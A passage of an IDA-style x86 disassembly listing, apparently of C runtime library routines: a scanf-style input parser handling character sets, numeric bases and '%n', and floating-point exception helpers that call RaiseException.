loc_42131C:				; CODE XREF: sub_420DB0+45Cj
					; sub_420DB0+4CEj
		or	[ebp+var_18], 0FFh


loc_421320:				; CODE XREF: sub_420DB0+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_421344
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_421344
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_421344:				; CODE XREF: sub_420DB0+584j
					; sub_420DB0+589j
		mov	dl, [ebp+var_35]


loc_421347:				; CODE XREF: sub_420DB0+592j
					; sub_420DB0+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_4213AC
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_421393
		test	dl, dl
		jz	short loc_421393
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_421393
		inc	edi
		cmp	dl, cl
		jnb	short loc_421366
		mov	al, cl
		jmp	short loc_42136A
; ---------------------------------------------------------------------------


loc_421366:				; CODE XREF: sub_420DB0+5B0j
		mov	al, dl
		mov	dl, cl


loc_42136A:				; CODE XREF: sub_420DB0+5B4j
		cmp	dl, al
		ja	short loc_42138F
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_421377:				; CODE XREF: sub_420DB0+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_421377


loc_42138F:				; CODE XREF: sub_420DB0+5BCj
		xor	dl, dl
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_421393:				; CODE XREF: sub_420DB0+5A0j
					; sub_420DB0+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_4213AC:				; CODE XREF: sub_420DB0+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_4217B6
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_4213BE
		mov	[ebp+arg_4], edi


loc_4213BE:				; CODE XREF: sub_420DB0+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4213D5:				; CODE XREF: sub_420DB0+6BCj
					; sub_420DB0+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_4213E9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_421485


loc_4213E9:				; CODE XREF: sub_420DB0+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_421479
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_421479
		cmp	[ebp+var_E], 0
		jnz	short loc_421471
		cmp	[ebp+var_16], 0
		jz	short loc_421466
		mov	ecx, off_43CE78
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_421445
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		pop	ecx
		mov	[ebp+var_37], al


loc_421445:				; CODE XREF: sub_420DB0+686j
		push	dword_43D084
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_4246CB
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_421469
; ---------------------------------------------------------------------------


loc_421466:				; CODE XREF: sub_420DB0+673j
		mov	[esi], al
		inc	esi


loc_421469:				; CODE XREF: sub_420DB0+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_4213D5
; ---------------------------------------------------------------------------


loc_421471:				; CODE XREF: sub_420DB0+66Dj
		inc	[ebp+var_30]
		jmp	loc_4213D5
; ---------------------------------------------------------------------------


loc_421479:				; CODE XREF: sub_420DB0+649j
					; sub_420DB0+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_421826
		pop	ecx
		pop	ecx


loc_421485:				; CODE XREF: sub_420DB0+633j
		cmp	[ebp+var_30], esi
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_421717
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_4214B7
		and	word ptr [eax],	0
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4214B7:				; CODE XREF: sub_420DB0+6FCj
		and	byte ptr [eax],	0
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4214BF:				; CODE XREF: sub_420DB0+466j
		mov	[ebp+var_D], 1


loc_4214C3:				; CODE XREF: sub_420DB0+203j
					; sub_420DB0+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_4214D1
		mov	[ebp+var_17], 1
		jmp	short loc_4214D6
; ---------------------------------------------------------------------------


loc_4214D1:				; CODE XREF: sub_420DB0+719j
		cmp	ebx, 2Bh
		jnz	short loc_4214F8


loc_4214D6:				; CODE XREF: sub_420DB0+71Fj
		dec	[ebp+var_C]
		jnz	short loc_4214E7
		cmp	[ebp+var_20], 0
		jz	short loc_4214E7
		mov	[ebp+var_F], 1
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214E7:				; CODE XREF: sub_420DB0+729j
					; sub_420DB0+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		pop	ecx
		mov	ebx, eax


loc_4214F5:				; CODE XREF: sub_420DB0+543j
		mov	[ebp+var_14], ebx


loc_4214F8:				; CODE XREF: sub_420DB0+4FDj
					; sub_420DB0+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_421611
		cmp	[ebp+var_F], 0
		jnz	loc_4215EF


loc_42150C:				; CODE XREF: sub_420DB0+82Cj
		cmp	esi, 78h
		jnz	short loc_421560
		cmp	dword_43D084, 1
		jle	short loc_421529
		push	80h
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421536
; ---------------------------------------------------------------------------


loc_421529:				; CODE XREF: sub_420DB0+768j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_421536:				; CODE XREF: sub_420DB0+777j
		test	eax, eax
		jz	loc_4215E1
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_4247A0
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_4217D5
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4215B3
; ---------------------------------------------------------------------------


loc_421560:				; CODE XREF: sub_420DB0+75Fj
		cmp	dword_43D084, 1
		jle	short loc_421575
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421580
; ---------------------------------------------------------------------------


loc_421575:				; CODE XREF: sub_420DB0+7B7j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421580:				; CODE XREF: sub_420DB0+7C3j
		test	eax, eax
		jz	short loc_4215E1
		cmp	esi, 6Fh
		jnz	short loc_42159E
		cmp	ebx, 38h
		jge	short loc_4215E1
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_4247A0
		jmp	short loc_4215AD
; ---------------------------------------------------------------------------


loc_42159E:				; CODE XREF: sub_420DB0+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41DB20


loc_4215AD:				; CODE XREF: sub_420DB0+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_4215B3:				; CODE XREF: sub_420DB0+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_4215CB
		dec	[ebp+var_C]
		jz	short loc_4215EF


loc_4215CB:				; CODE XREF: sub_420DB0+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42150C
; ---------------------------------------------------------------------------


loc_4215E1:				; CODE XREF: sub_420DB0+788j
					; sub_420DB0+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4215EF:				; CODE XREF: sub_420DB0+756j
					; sub_420DB0+819j
		cmp	[ebp+var_17], 0
		jz	loc_4216D5
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_4216D5
; ---------------------------------------------------------------------------


loc_421611:				; CODE XREF: sub_420DB0+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_4216CD


loc_42161B:				; CODE XREF: sub_420DB0+90Aj
		cmp	esi, 78h
		jz	short loc_42165F
		cmp	esi, 70h
		jz	short loc_42165F
		cmp	dword_43D084, 1
		jle	short loc_42163A
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421645
; ---------------------------------------------------------------------------


loc_42163A:				; CODE XREF: sub_420DB0+87Cj
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421645:				; CODE XREF: sub_420DB0+888j
		test	eax, eax
		jz	short loc_4216BF
		cmp	esi, 6Fh
		jnz	short loc_421658
		cmp	ebx, 38h
		jge	short loc_4216BF
		shl	edi, 3
		jmp	short loc_421697
; ---------------------------------------------------------------------------


loc_421658:				; CODE XREF: sub_420DB0+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_421697
; ---------------------------------------------------------------------------


loc_42165F:				; CODE XREF: sub_420DB0+86Ej
					; sub_420DB0+873j
		cmp	dword_43D084, 1
		jle	short loc_421677
		push	80h
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421684
; ---------------------------------------------------------------------------


loc_421677:				; CODE XREF: sub_420DB0+8B6j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_421684:				; CODE XREF: sub_420DB0+8C5j
		test	eax, eax
		jz	short loc_4216BF
		push	ebx
		shl	edi, 4
		call	sub_4217D5
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_421697:				; CODE XREF: sub_420DB0+8A6j
					; sub_420DB0+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_4216A9
		dec	[ebp+var_C]
		jz	short loc_4216CD


loc_4216A9:				; CODE XREF: sub_420DB0+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42161B
; ---------------------------------------------------------------------------


loc_4216BF:				; CODE XREF: sub_420DB0+897j
					; sub_420DB0+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4216CD:				; CODE XREF: sub_420DB0+865j
					; sub_420DB0+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_4216D5
		neg	edi


loc_4216D5:				; CODE XREF: sub_420DB0+843j
					; sub_420DB0+85Cj ...
		cmp	esi, 46h
		jnz	short loc_4216DE
		and	[ebp+var_1C], 0


loc_4216DE:				; CODE XREF: sub_420DB0+928j
		cmp	[ebp+var_1C], 0
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	short loc_421717
		inc	[ebp+var_34]


loc_4216F1:				; CODE XREF: sub_420DB0+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_421707
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_421717
; ---------------------------------------------------------------------------


loc_421707:				; CODE XREF: sub_420DB0+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_421714
		mov	[eax], edi
		jmp	short loc_421717
; ---------------------------------------------------------------------------


loc_421714:				; CODE XREF: sub_420DB0+95Ej
		mov	[eax], di


loc_421717:				; CODE XREF: sub_420DB0+241j
					; sub_420DB0+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_421764
; ---------------------------------------------------------------------------


loc_421722:				; CODE XREF: sub_420DB0+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_421791
		mov	ecx, off_43CE78
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_421764
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_42179F
		dec	[ebp+var_4]


loc_421764:				; CODE XREF: sub_420DB0+970j
					; sub_420DB0+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_42177A
		cmp	byte ptr [esi],	25h
		jnz	short loc_4217BC
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_4217BC
		mov	esi, eax


loc_42177A:				; CODE XREF: sub_420DB0+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_420DDA
		jmp	short loc_4217B6
; ---------------------------------------------------------------------------


loc_421786:				; CODE XREF: sub_420DB0+1F4j
					; sub_420DB0+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_421796
; ---------------------------------------------------------------------------


loc_421791:				; CODE XREF: sub_420DB0+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_421796:				; CODE XREF: sub_420DB0+9DFj
		call	sub_421826
		pop	ecx
		pop	ecx
		jmp	short loc_4217B6
; ---------------------------------------------------------------------------


loc_42179F:				; CODE XREF: sub_420DB0+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_421826
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_421826
		add	esp, 10h


loc_4217B6:				; CODE XREF: sub_420DB0+1Fj
					; sub_420DB0+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_4217CD


loc_4217BC:				; CODE XREF: sub_420DB0+9BDj
					; sub_420DB0+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_4217D0
		cmp	[ebp+var_15], al
		jnz	short loc_4217D0
		or	eax, 0FFFFFFFFh
		jmp	short loc_4217D0
; ---------------------------------------------------------------------------


loc_4217CD:				; CODE XREF: sub_420DB0+A0Aj
		mov	eax, [ebp+var_34]


loc_4217D0:				; CODE XREF: sub_420DB0+A11j
					; sub_420DB0+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420DB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4217D5	proc near		; CODE XREF: sub_420DB0+7A3p
					; sub_420DB0+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43D084, 1
		push	esi
		jle	short loc_4217EF
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4217FE
; ---------------------------------------------------------------------------


loc_4217EF:				; CODE XREF: sub_4217D5+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43CE78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_4217FE:				; CODE XREF: sub_4217D5+18j
		test	eax, eax
		jnz	short loc_421808
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_421808:				; CODE XREF: sub_4217D5+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_4217D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_42180C	proc near		; CODE XREF: sub_420DB0+1E1p
					; sub_420DB0+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_42181E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_42181E:				; CODE XREF: sub_42180C+7j
		push	edx
		call	sub_41F8E3
		pop	ecx
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421826	proc near		; CODE XREF: sub_420DB0+6Bp
					; sub_420DB0+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_42183C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4247BF
		pop	ecx
		pop	ecx

locret_42183C:				; CODE XREF: sub_421826+5j
		retn
sub_421826	endp


; =============== S U B	R O U T	I N E =======================================



sub_42183D	proc near		; CODE XREF: sub_420DB0+63p
					; sub_420DB0+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_421843:				; CODE XREF: sub_42183D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_42180C
		mov	edi, eax
		push	edi
		call	sub_41DF10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421843
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42183D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_421861(int,int,double,int)

sub_421861	proc near		; CODE XREF: sub_41D055+51p
					; sub_41D19B+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43D7F0, 0
		jnz	short loc_421896
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421E16
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421896:				; CODE XREF: sub_421861+Aj
		push	0FFFFh
		mov	dword_4DBDDC, 21h
		push	[ebp+arg_C]
		call	sub_422089
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_421861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4218B4(int,int,double,double,int)

sub_4218B4	proc near		; CODE XREF: sub_41D055:loc_41D118p
					; sub_41D19B:loc_41D25Ep

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_421BFF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4218F2
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_42194C
		add	esp, 18h


loc_4218F2:				; CODE XREF: sub_4218B4+1Aj
		push	[ebp+arg_0]
		call	sub_421EE9
		cmp	dword_43D7F0, 0
		pop	ecx
		jnz	short loc_421930
		test	eax, eax
		jz	short loc_421930
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421E16
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421930:				; CODE XREF: sub_4218B4+4Ej
					; sub_4218B4+52j
		push	eax
		call	sub_421E9E
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_422089
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_4218B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42194C	proc near		; CODE XREF: sub_4218B4+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_42197E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_42197E:				; CODE XREF: sub_42194C+23j
		test	cl, 2
		jz	short loc_421991
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_421991:				; CODE XREF: sub_42194C+35j
		test	cl, bl
		jz	short loc_4219A3
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_4219A3:				; CODE XREF: sub_42194C+47j
		test	cl, 4
		jz	short loc_4219B6
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_4219B6:				; CODE XREF: sub_42194C+5Aj
		test	cl, 8
		jz	short loc_4219C9
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_4219C9:				; CODE XREF: sub_42194C+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_42206C
		test	al, bl
		jz	short loc_421A52
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_421A52:				; CODE XREF: sub_42194C+FDj
		test	al, 4
		jz	short loc_421A5D
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_421A5D:				; CODE XREF: sub_42194C+108j
		test	al, 8
		jz	short loc_421A68
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_421A68:				; CODE XREF: sub_42194C+113j
		test	al, 10h
		jz	short loc_421A72
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_421A72:				; CODE XREF: sub_42194C+11Ej
		test	al, 20h
		jz	short loc_421A7C
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_421A7C:				; CODE XREF: sub_42194C+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_421ABB
		cmp	eax, 400h
		jz	short loc_421AAD
		cmp	eax, 800h
		jz	short loc_421AA1
		cmp	eax, ecx
		jnz	short loc_421AC1
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421AC1
; ---------------------------------------------------------------------------


loc_421AA1:				; CODE XREF: sub_42194C+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421AB7
; ---------------------------------------------------------------------------


loc_421AAD:				; CODE XREF: sub_42194C+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421AB7:				; CODE XREF: sub_42194C+15Fj
		mov	[eax], ecx
		jmp	short loc_421AC1
; ---------------------------------------------------------------------------


loc_421ABB:				; CODE XREF: sub_42194C+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421AC1:				; CODE XREF: sub_42194C+14Bj
					; sub_42194C+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_421AEC
		cmp	eax, 200h
		jz	short loc_421ADF
		cmp	eax, ecx
		jnz	short loc_421AF9
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421AF9
; ---------------------------------------------------------------------------


loc_421ADF:				; CODE XREF: sub_42194C+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421AF7
; ---------------------------------------------------------------------------


loc_421AEC:				; CODE XREF: sub_42194C+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421AF7:				; CODE XREF: sub_42194C+19Ej
		mov	[eax], ecx


loc_421AF9:				; CODE XREF: sub_42194C+189j
					; sub_42194C+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_42207A
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	dword_427050	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_421B73
		and	dword ptr [esi], 0FFFFFFFEh


loc_421B73:				; CODE XREF: sub_42194C+222j
		test	byte ptr [eax+8], 8
		jz	short loc_421B7C
		and	dword ptr [esi], 0FFFFFFFBh


loc_421B7C:				; CODE XREF: sub_42194C+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_421B85
		and	dword ptr [esi], 0FFFFFFF7h


loc_421B85:				; CODE XREF: sub_42194C+234j
		test	byte ptr [eax+8], 2
		jz	short loc_421B8E
		and	dword ptr [esi], 0FFFFFFEFh


loc_421B8E:				; CODE XREF: sub_42194C+23Dj
		test	[eax+8], bl
		jz	short loc_421B96
		and	dword ptr [esi], 0FFFFFFDFh


loc_421B96:				; CODE XREF: sub_42194C+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_421BCA
		dec	ecx
		jz	short loc_421BBE
